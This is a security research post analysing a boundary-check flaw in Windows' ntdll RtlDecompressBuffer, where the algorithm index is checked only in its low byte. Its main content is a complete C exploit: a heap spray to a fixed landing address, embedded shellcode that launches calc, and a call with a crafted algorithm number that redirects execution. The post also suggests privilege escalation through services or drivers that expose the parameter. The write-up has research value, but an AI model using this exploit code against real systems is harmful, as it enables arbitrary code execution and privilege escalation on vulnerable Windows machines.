Introduction
The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.
The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.
The algorithms callback table
Notice the five nops at the end probably for adding new algorithms in the future.
The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]
The bounrady checks
We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:
int RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) { int result; // eax@4 if ( algorithm & algorithm != 1 ) { if ( algorithm & 0xF0 ) result = -1073741217; else result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6); } else { result = -1073741811; } return result; }

let's check the disassembly on Win7 32bits:
- the movzx limits the boundaries to 16bits
- the test ax, ax avoids the algorithm 0
- the cmp ax, 1 avoids the algorithm 1
- the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h
unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}
int main(void) {
printf("max: %u\n", max());
}
/* ntdll!RtlDecompressBuffer() vtable exploit + heap spray by @sha0coder */ #include #include #include #define KB 1024 #define MB 1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9 // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */ // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"; PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits void fail(const char *msg) { printf("%s\n\n", msg); exit(1); } PUCHAR spray(HANDLE heap) { PUCHAR map = 0; printf("Spraying ...\n"); printf("Aproximating to %p\n", landing_ptr); while (map < landing_ptr-1*MB) { map = HeapAlloc(heap, 0, 1*MB); } //map = HeapAlloc(heap, 0, 1*MB); printf("Aproximated to [%x - %x]\n", map, map+1*MB); printf("Landing adddr: %x\n", landing_ptr); printf("Offset of landing adddr: %d\n", landing_ptr-map); return map; } void landing_sigtrap(int num_of_traps) { memset(landing_ptr, 0xcc, num_of_traps); } void copy_shellcode(void) { memcpy(landing_ptr, shellcode, strlen(shellcode)); } int main(int argc, char **argv) { FARPROC RtlDecompressBuffer; NTSTATUS ntStat; HANDLE heap; PUCHAR compressed, uncompressed; ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz; RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer"); heap = GetProcessHeap(); compressed_sz = estimated_uncompressed_sz = 1*KB; compressed = HeapAlloc(heap, 0, compressed_sz); uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz); spray(heap); copy_shellcode(); //landing_sigtrap(1*KB); printf("Landing ...\n"); ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz); switch(ntStat) { case STATUS_SUCCESS: printf("decompression Ok!\n"); break; case STATUS_INVALID_PARAMETER: printf("bad compression parameter\n"); break; case STATUS_UNSUPPORTED_COMPRESSION: printf("unsuported compression\n"); break; case STATUS_BAD_COMPRESSION_BUFFER: printf("Need more uncompressed buffer\n"); break; default: printf("weird decompression state\n"); break; } printf("end.\n"); }
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
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